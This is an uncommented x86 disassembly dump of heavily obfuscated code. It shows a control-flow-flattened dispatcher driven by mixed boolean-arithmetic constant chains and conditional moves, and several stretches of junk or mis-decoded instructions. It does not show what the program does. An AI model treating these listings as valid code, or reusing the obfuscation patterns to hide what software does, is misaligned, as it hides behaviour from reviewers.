xor esi, 0xa8a3cbdb
mov edx, 0xffffffff
xor edx, 0x7fc4aa0d
mov ecx, esi
and ecx, edx
mov edx, esi
xor edx, 0x7fc4aa0d
add esi, edx
sub esi, ecx
add esi, 0x10e4cbd4
mov ecx, esi
and ecx, 0x4c38451e
shl ecx, 1
add esi, 0x4c38451e
sub esi, ecx
add esi, 0x7b06af10
add esi, 0xe39d24c7
mov ecx, 0xed14001f
mov edx, 0x904be2c1
cmp esi, 0x9f46780b
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [0x10229394]
mov esi, dword [0x10229398]
mov ecx, eax
xor ecx, 0xffffffff
mov edx, esi
and edx, ecx
mov edi, esi
xor edi, 0xffffffff
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, esi
or eax, esi
imul eax, edx
add eax, ecx
mov ecx, 0xc670de17
xor edx, edx
div ecx
mov esi, eax
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xef524aa4
mov eax, 0xffffffff
xor eax, 0x2440d302
or esi, ecx
or eax, 0x2440d302
xor esi, 0xffffffff
and esi, eax
xor esi, 0xed10a194
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x7d4e9d79
mov eax, 0xffffffff
xor eax, 0x70258671
or esi, ecx
or eax, 0x70258671
xor esi, 0xffffffff
and esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xe37503d3
mov edx, 0xffffffff
xor edx, 0xe37503d3
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x69dd9e35
and ecx, 0xe37503d3
and edx, 0x69dd9e35
or eax, esi
or ecx, edx
xor eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x42de33ee
mov esi, 0xffffffff
xor esi, 0x42de33ee
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x42de33ee
or eax, 0x42de33ee
imul eax, edx
add eax, ecx
and eax, eax
xor eax, 0xffffffff
mov ecx, 0x2ae11695
and ecx, 0x2ae11695
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0x8f300818
xor edx, edx
div ecx
imul eax, eax, 0x48ed49d9
sub eax, 0x9b214e48
mov ecx, eax
xor ecx, 0x7f04e416
xor ecx, 0xffffffff
and ecx, 0x7f04e416
shl ecx, 1
sub ecx, 0x7f04e416
sub eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xb6235688
add eax, ecx
add eax, 0xe67c860b
sub eax, 0x2a63312d
sub eax, 0xb91359f8
add eax, 0x2a63312d
mov ecx, eax
and ecx, 0x11f82062
xor ecx, 0xffffffff
add eax, 0x11f82062
add eax, 1
add eax, ecx
mov ecx, 0x716e58ac
xor edx, edx
div ecx
and eax, 0x7c36b38d
imul ecx, eax, 0xf9405bc8
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xbb435075
mov esi, 0xffffffff
xor esi, 0xbb435075
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xbb435075
or ecx, 0xbb435075
imul ecx, edx
add ecx, eax
and ecx, 0x95e19540
sub ecx, 0x79ae01fb
sub ecx, 0x6732664a
add ecx, 0x79ae01fb
mov edx, 0xffffffff
xor edx, 0xbec5b3e1
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, 0xbec5b3e1
add ecx, edx
sub ecx, eax
and ecx, 0x5a8ff641
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x80], eax
mov esi, 0xffffffff
xor esi, 0xeb560190
mov edx, 0xffffffff
xor edx, 0x1f9fdc64
and eax, 0x1f9fdc64
and ecx, edx
mov edi, esi
and edi, 0x1f9fdc64
mov ebx, edx
and ebx, 0xeb560190
or eax, ecx
mov ecx, dword [ebp - 0x80]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x1f9fdc64
and ecx, edx
or eax, ecx
mov ecx, 0xbcd38d76
xor edx, edx
div ecx
imul eax, eax, 0x2f27ac95
add eax, 0x3c09babd
add eax, 0x26099f1
sub eax, 0x3c09babd
mov ecx, 0xffffffff
xor ecx, 0x7e2e66ef
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x7292c165
mov esi, 0xffffffff
xor esi, 0xb6c78040
mov edx, ecx
and edx, 0xb6c78040
and eax, esi
mov dword [ebp - 0x7c], eax
mov ebx, edi
and ebx, 0xb6c78040
mov eax, esi
and eax, 0x7292c165
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x7c]
or edx, eax
mov eax, dword [ebp - 0x78]
or ebx, eax
mov eax, dword [ebp - 0x1c]
xor edx, ebx
or ecx, edi
xor ecx, 0xffffffff
or esi, 0xb6c78040
and ecx, esi
or edx, ecx
mov ecx, 0xffffffff
xor ecx, 0x29fa9102
add edx, ecx
add edx, 1
or edx, 0xec5fb933
mov ecx, edx
xor ecx, 0xffffffff
mov esi, edx
xor esi, 0xffffffff
or ecx, esi
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x99788186
or ecx, esi
mov esi, 0xffffffff
xor esi, 0x99788186
mov edi, 0xffffffff
xor edi, 0x99788186
or esi, edi
xor edx, 0xffffffff
xor esi, 0xffffffff
or edx, esi
and ecx, edx
xor ecx, 0xffffffff
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x3db359ef
mov edx, 0xffffffff
xor edx, 0x9c77cdcc
or ecx, esi
or edx, 0x9c77cdcc
xor ecx, 0xffffffff
and ecx, edx
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xea49a1c1
mov esi, 0xffffffff
xor esi, 0xea49a1c1
and ecx, esi
or edx, ecx
xor ecx, ecx
sub ecx, edx
xor edx, edx
sub edx, 0x684dc200
add ecx, edx
xor esi, esi
sub esi, ecx
mov ecx, 0x24c7181c
mov edx, 0xed14001f
cmp esi, 0xf93b328b
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xba1e598
jmp 0x1013b172
mov eax, dword [0x1022939c]
xor edx, edx
div dword [0x102293a0]
mov ecx, eax
or ecx, 0x78168aab
xor ecx, 0x939a5cc5
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xabc5233a
mov esi, 0xffffffff
xor esi, 0xabc5233a
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xabc5233a
or ecx, 0xabc5233a
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0x5ea18bbf
shl eax, 1
add ecx, 0x5ea18bbf
sub ecx, eax
mov eax, ecx
xor eax, 0x8e3f13c3
mov edx, 0xffffffff
xor edx, 0x8e3f13c3
and ecx, edx
shl ecx, 1
sub ecx, eax
or ecx, 0x530fd6d0
or ecx, 0xd45336fb
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xc9dcf0f2
or eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xc9dcf0f2
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0x943fb55b
or eax, 0xaa1a2167
mov edx, 0xffffffff
xor edx, 0x6f91bf21
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x6f91bf21
add eax, edx
sub eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x3db20c1e
mov esi, 0xffffffff
xor esi, 0x3db20c1e
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x3db20c1e
or eax, 0x3db20c1e
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x280de6bc
mov edx, 0xffffffff
xor edx, 0x280de6bc
and eax, edx
or ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xe16778b9
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xe16778b9
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
imul eax, eax, 0x82984ce1
xor eax, 0x788c0187
and eax, 0x43b73b6f
imul eax, eax, 0x74b09c7d
mov ecx, 0xffffffff
xor ecx, 0xe526f4d6
add eax, ecx
add eax, 1
xor eax, 0x5e08103a
mov ecx, 0x7b4f14b0
xor edx, edx
div ecx
sub eax, 0xa41844ef
mov ecx, 0x47b7354a
xor edx, edx
div ecx
xor eax, 0x2ab8054a
mov ecx, 0x4ff058b0
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0x9583fdf4
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x9583fdf4
or eax, 0x9583fdf4
imul eax, edx
add eax, ecx
and eax, 0xf9cb64a7
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x5942940e
mov edx, 0xffffffff
xor edx, 0x5942940e
and eax, edx
or ecx, eax
add ecx, 0x4c6d600c
and ecx, 0x6c938508
mov esi, 0xffffffff
xor esi, 0xcd5fc4cd
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0xcd5fc4cd
or ecx, 0xcd5fc4cd
imul ecx, edx
add ecx, eax
and ecx, 0xc6dc1dc1
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x48ab4c81
mov esi, 0xffffffff
xor esi, 0x48ab4c81
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or ecx, 0x48ab4c81
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x30faa031
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, 0x695727bd
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, 0x2691445f
mov edx, 0xf4f679ac
cmp esi, 0xc8baef6f
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov ecx, dword [0x102293a4]
or ecx, dword [0x102293a8]
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x88], eax
mov esi, 0xffffffff
xor esi, 0xf1d6edc3
mov edx, 0xffffffff
xor edx, 0x701cf34c
and eax, 0x701cf34c
and ecx, edx
mov edi, esi
and edi, 0x701cf34c
mov ebx, edx
and ebx, 0xf1d6edc3
or eax, ecx
mov ecx, dword [ebp - 0x88]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x701cf34c
and ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0x4df5d552
xor ecx, 0xffffffff
and ecx, 0x4df5d552
shl ecx, 1
sub ecx, 0x4df5d552
sub eax, ecx
mov ecx, 0x3620d4d6
xor edx, edx
div ecx
imul eax, eax, 0x69d2119
and eax, 0x56a4dacf
xor ecx, ecx
sub ecx, 0x92db8bc1
add eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x9350579e
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, eax
and ecx, 0xf8417315
shl ecx, 1
xor eax, 0xf8417315
add eax, ecx
imul eax, eax, 0xece51c34
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x2e68d52b
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xb5a263d5
mov edx, 0xffffffff
xor edx, 0xb5a263d5
and eax, edx
sub eax, ecx
mov ecx, eax
and ecx, ecx
xor ecx, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x637fa152
or ecx, edx
mov edx, 0x637fa152
and edx, 0x637fa152
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
and ecx, eax
xor ecx, 0xffffffff
add ecx, 0x79a35ed4
add ecx, 0xb63ca6c
mov eax, 0xffffffff
xor eax, 0xf7dd9398
xor edx, edx
sub edx, 1
sub eax, edx
sub ecx, eax
or ecx, 0x3cc94d02
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x84], eax
mov esi, 0xffffffff
xor esi, 0xa95e7b6d
mov edx, 0xffffffff
xor edx, 0x4dcfcbf2
and eax, 0x4dcfcbf2
and ecx, edx
mov edi, esi
and edi, 0x4dcfcbf2
mov ebx, edx
and ebx, 0xa95e7b6d
or eax, ecx
mov ecx, dword [ebp - 0x84]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x4dcfcbf2
and ecx, edx
or eax, ecx
mov ecx, 0x18c3ef
xor edx, edx
div ecx
mov ecx, 0xfd1518fc
xor edx, edx
div ecx
imul ecx, eax, 0xb264b0d7
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0x2aa0c81f
or edx, 0x2aa0c81f
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or ecx, 0x2aa0c81f
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
or eax, 0x4112da4a
add eax, 0xe104a463
mov ecx, 0x324d5d53
xor edx, edx
div ecx
mov edx, 0xffffffff
xor edx, 0xbb722e36
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xbb722e36
add eax, edx
sub eax, ecx
mov ecx, 0x74269db6
xor edx, edx
div ecx
mov ecx, 0x1ce8a7b9
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov edi, 0xffffffff
xor edi, 0x55b5d5a6
mov esi, edx
and esi, edi
mov ecx, edx
or ecx, edi
xor ecx, 0xffffffff
imul ecx, esi
mov esi, edx
and esi, 0x55b5d5a6
or edx, 0x55b5d5a6
imul edx, esi
add edx, ecx
xor ecx, ecx
sub ecx, 0x3c2ed0d6
sub edx, ecx
sub edx, 0x5b2de1cc
add edx, 0x9efd4c6
add edx, 0x5b2de1cc
add edx, 0x7cb95535
mov esi, 0xffffffff
xor esi, 0xa5b64e0e
mov ecx, edx
xor ecx, esi
and ecx, edx
mov esi, ecx
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x603c8600
or esi, edx
and ecx, 0x603c8600
xor ecx, 0xffffffff
and esi, ecx
xor esi, 0xffffffff
add esi, 0x39ec4124
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xa9e6bab2
mov edx, 0xffffffff
xor edx, 0xa9e6bab2
and esi, edx
sub esi, ecx
mov ecx, 0x2691445f
mov edx, 0xcd77163b
cmp esi, 0x2791a7e6
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10206a28
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x102293ac]
mov esi, dword [0x102293b0]
mov ecx, eax
xor ecx, 0xffffffff
mov edx, esi
and edx, ecx
mov edi, esi
xor edi, 0xffffffff
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, esi
or eax, esi
imul eax, edx
add eax, ecx
add eax, 0x4dd63bf4
add eax, 0xaad22fe0
sub eax, 0x4dd63bf4
sub eax, 0xb586a80f
mov edx, eax
xor edx, 0xffffffff
and edx, 0xcad5e1c7
mov esi, 0xffffffff
xor esi, 0xcad5e1c7
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xcad5e1c7
or eax, 0xcad5e1c7
imul eax, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xe6af016
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, eax
and ecx, 0x98e0508e
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x98e0508e
or eax, edx
and ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
and eax, 0x319ef6d1
or ecx, 0x319ef6d1
add eax, ecx
imul eax, eax, 0x48d82b07
sub eax, 0xd40412c4
add eax, 0x291ebdc0
add eax, 0xd40412c4
sub eax, 0x25cc4b90
or eax, 0x4deaab9a
imul ecx, eax, 0x35da2e40
sub ecx, 0x6a097d10
add ecx, 0xb78b1e4a
add ecx, 0x6a097d10
and ecx, 0xa206163a
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x40ce373b
or eax, edx
and ecx, 0x40ce373b
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0x9fc5de1e
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x7c4e5f1d
mov esi, 0xffffffff
xor esi, 0x7c4e5f1d
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x7c4e5f1d
or eax, 0x7c4e5f1d
imul eax, edx
add eax, ecx
mov ecx, 0x7911535c
xor edx, edx
div ecx
add eax, 0xa6b1343f
mov ecx, 0xee16681c
xor edx, edx
div ecx
mov ecx, 0x58430e02
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0x5953afc2
sub ecx, 0x52628ebd
add ecx, 0x5953afc2
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
and eax, 0xec56bc2f
xor eax, 0xffffffff
mov edx, 0xec56bc2f
and edx, 0xec56bc2f
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0x132bc91c
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x381ed751
mov edx, 0xffffffff
xor edx, 0x381ed751
and eax, edx
sub eax, ecx
imul ecx, eax, 0xbd0377d5
mov edx, 0xffffffff
xor edx, 0x79dda573
mov eax, ecx
xor eax, edx
and eax, ecx
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x8f4c17c4
mov edx, 0xffffffff
xor edx, 0x8f4c17c4
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0x6e70e1ed
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0xc8dafba5
add eax, ecx
sub eax, 0xc8c84e35
and eax, 0x13a6674e
mov ecx, eax
and ecx, 0x31bd5da1
shl ecx, 1
add eax, 0x31bd5da1
sub eax, ecx
or eax, 0x801c661c
mov ecx, eax
and ecx, 0x10637eb8
shl ecx, 1
add eax, 0x10637eb8
sub eax, ecx
mov ecx, 0xde459730
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, 0xfb0c1fd2
mov edx, 0x5846f050
cmp esi, 0x900fb39c
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x5127c86c
jmp 0x1013b172
add bh, dh
adc al, 0xdf
hlt
mov eax, dword [0x102293bc]
mov esi, dword [0x102293c0]
mov ecx, eax
xor ecx, 0xffffffff
mov edx, esi
and edx, ecx
mov edi, esi
xor edi, 0xffffffff
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, esi
or eax, esi
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x5229d234
mov edx, 0xffffffff
xor edx, 0x5229d234
and eax, edx
sub eax, ecx
add eax, 0xdf82c9f3
sub eax, 0xe11d8ae3
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xfc5ee0b4
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xe70d066b
mov edx, 0xffffffff
xor edx, 0xe70d066b
and eax, edx
sub eax, ecx
mov ecx, 0xc5eef615
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x2795eb14
shl eax, 1
add ecx, 0x2795eb14
sub ecx, eax
sub ecx, 0xc17b090d
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0x482dd677
mov esi, 0xffffffff
xor esi, 0x482dd677
and edx, esi
or eax, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x482dd677
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0xf698e3c5
xor edx, edx
div ecx
add eax, 0xba696abb
mov ecx, 0x6412546b
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0x24c20f42
mov eax, ecx
and eax, 0x7b2375c8
shl eax, 1
xor ecx, 0x7b2375c8
add ecx, eax
and ecx, 0xbed1f2f5
xor ecx, 0x4fe192e8
mov edx, 0xffffffff
xor edx, 0xcb752d60
mov eax, ecx
xor eax, edx
and eax, ecx
xor eax, 0x3b13521b
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x72c910d5
mov edx, 0xffffffff
xor edx, 0x72c910d5
and eax, edx
sub eax, ecx
xor eax, 0x8aad2e9a
mov ecx, 0xffffffff
xor ecx, 0x3a69fcfa
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, 0x1f4711bd
xor edx, edx
div ecx
mov ecx, 0x9f3f1b57
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xf8d11dc8
mov esi, 0xffffffff
xor esi, 0xf8d11dc8
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xf8d11dc8
or eax, 0xf8d11dc8
imul eax, edx
add eax, ecx
mov ecx, 0xcd2af153
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xa3ab673c
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, 0x7dff0ebc
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
imul ecx, ecx, 0x3fcea929
mov edi, 0xffffffff
xor edi, 0x6c8bdc6e
mov esi, ecx
and esi, edi
mov edx, ecx
or edx, edi
xor edx, 0xffffffff
imul edx, esi
mov esi, ecx
and esi, 0x6c8bdc6e
or ecx, 0x6c8bdc6e
imul ecx, esi
add ecx, edx
mov esi, ecx
or esi, 0xb802e6f
xor esi, 0xffffffff
or ecx, 0xb802e6f
xor ecx, 0xffffffff
or esi, ecx
xor esi, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xbcf780f2
mov edx, esi
and edx, edi
mov ecx, esi
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, esi
and edx, 0xbcf780f2
or esi, 0xbcf780f2
imul esi, edx
add esi, ecx
or esi, 0xb9485d17
add esi, 0xf8de8c75
sub esi, 0x3f58b361
add esi, 0x3f0f9be0
sub esi, 0x9458865d
sub esi, 0x3f0f9be0
mov ecx, 0x629e4a6d
mov edx, 0xd7b713ca
cmp esi, 0x24a95e7b
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xa6cb83e2
jmp 0x1013b172
mov eax, dword [ebp - 0x1c]
ljmp 0x6f43
mov ecx, dword [0x102293cc]
mov esi, dword [0x102293d0]
mov eax, ecx
xor eax, 0xffffffff
mov edx, esi
and edx, eax
mov edi, esi
xor edi, 0xffffffff
mov eax, ecx
and eax, edi
imul eax, edx
mov edx, ecx
and edx, esi
or ecx, esi
imul ecx, edx
add ecx, eax
sub ecx, 0xdb8d30fc
sub ecx, 0xbdb935e6
add ecx, 0xdb8d30fc
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x3ef80661
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x3ef80661
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
add eax, 0xec3dab86
imul eax, eax, 0x9edbd068
xor eax, 0x66b92be0
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x46a7a515
mov edx, 0xffffffff
xor edx, 0x46a7a515
and eax, edx
sub eax, ecx
imul eax, eax, 0x9d46e5b
mov ecx, 0x505eefd3
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
or eax, 0xe4f559a4
xor eax, 0xffffffff
or ecx, 0xe4f559a4
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
sub eax, 0xc4c67b9c
xor eax, 0x5e8fc478
imul eax, eax, 0x1c1d7454
mov ecx, eax
and ecx, 0x70f18562
or eax, 0x70f18562
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x5fc815f3
or ecx, 0x5fc815f3
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
imul eax, eax, 0x97b25131
or eax, 0x840b8b4e
add eax, 0x35d578a1
add eax, 0x7e4b534d
and eax, 0xd53c9556
mov edx, 0xffffffff
xor edx, 0x378629b4
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x378629b4
add eax, edx
sub eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xccf60563
mov esi, 0xffffffff
xor esi, 0xccf60563
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xccf60563
or eax, 0xccf60563
imul eax, edx
add eax, ecx
add eax, 0x8fe18a62
mov ecx, 0xbf1f7bb5
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0xd24ec6e3
add ecx, eax
or ecx, 0x535c7bbe
mov eax, ecx
and eax, 0x6ff73fc4
xor ecx, 0x6ff73fc4
or eax, ecx
mov ecx, 0xe77243b
xor edx, edx
div ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x96afcdd4
add eax, ecx
sub eax, 0x54fd34ec
mov ecx, eax
and ecx, 0x28557df
shl ecx, 1
add eax, 0x28557df
sub eax, ecx
sub eax, 0x665a156b
add eax, 0x411315a5
add eax, 0x665a156b
mov ecx, 0xe17e0fa5
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov esi, ecx
and esi, 0xdfecddff
xor ecx, 0xdfecddff
or esi, ecx
xor esi, 0x960dd553
sub esi, 0xe7d8fb81
sub esi, 0x7bce88d0
add esi, 0xe7d8fb81
mov ecx, 0x759b1d1
mov edx, 0x979a4e96
cmp esi, 0x8673cecc
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [0x102293d4]
and eax, dword [0x102293d8]
mov ecx, eax
or ecx, 0x599f6c77
xor ecx, 0xffffffff
or eax, 0x599f6c77
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, ecx
and eax, 0xc7517352
xor ecx, 0xc7517352
or eax, ecx
mov ecx, 0xa9d77c6f
xor edx, edx
div ecx
or eax, 0x3882ada4
xor ecx, ecx
sub ecx, 0x5fd08ea4
sub eax, ecx
mov ecx, 0x71645926
xor edx, edx
div ecx
xor eax, 0xdef2921
mov ecx, 0x1cc84ad2
xor edx, edx
div ecx
mov ecx, 0xaa674acd
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0x6e4b933c
add eax, ecx
mov ecx, 0xc53e47e
xor edx, edx
div ecx
mov ecx, 0x96190403
xor edx, edx
div ecx
imul ecx, eax, 0x66337e53
xor ecx, 0x72338b2a
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x656dfa04
and eax, edx
or ecx, 0x656dfa04
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xf0c3f0b4
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xf0c3f0b4
or eax, 0xf0c3f0b4
imul eax, edx
add eax, ecx
mov ecx, 0xda00a0ce
xor edx, edx
div ecx
add eax, 0x625e6f95
add eax, 0x7ca58215
sub eax, 0x8913eb5
sub eax, 0x7ca58215
xor eax, 0x44b546b6
imul eax, eax, 0x9591eb03
and eax, 0x236173d
mov ecx, 0x9122154d
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x50]
mov edx, ecx
and edx, 0x4416a71
shl edx, 1
add ecx, 0x4416a71
sub ecx, edx
or ecx, 0xfaf93c49
or ecx, 0x12d5cc8f
or ecx, 0x27fa6d67
add ecx, 0x453f30e4
mov edx, ecx
xor edx, 0xffffffff
xor ecx, 0xffffffff
or edx, ecx
mov ecx, 0xac9ee877
and ecx, 0xac9ee877
xor ecx, 0xffffffff
xor edx, 0xffffffff
xor ecx, 0xffffffff
or edx, ecx
mov ecx, edx
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x5f3a6528
and ecx, esi
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x5f3a6528
and edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
imul esi, ecx, 0x4755df0c
and esi, 0x6c60b546
mov ecx, esi
and ecx, 0x397a824f
shl ecx, 1
add esi, 0x397a824f
sub esi, ecx
or esi, 0xa9aabbba
sub esi, 0xe6a5813a
inc esp
add dword [eax - 0x21], 0x79
pop esp
push ebx
and ecx, edx
pop edi
leave
into
invalid
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x843d7207
jmp 0x1013b172
mov eax, dword [ebp - 0x1c]
ret
mov eax, dword [ebp - 0x1c]
sbb byte [edi + 0x17], 0xd1
pushfd
xchg edx, eax
xor bl, byte [ecx + 0x18a5a574]
pop ss
int1
jmp 0x1013acb7
mov eax, dword [ebp - 0x1c]
arpl word [esi + 0x4deef125], bx
movsb byte es:[edi], byte [esi]
salc
out 0xb4, eax
xchg esi, eax
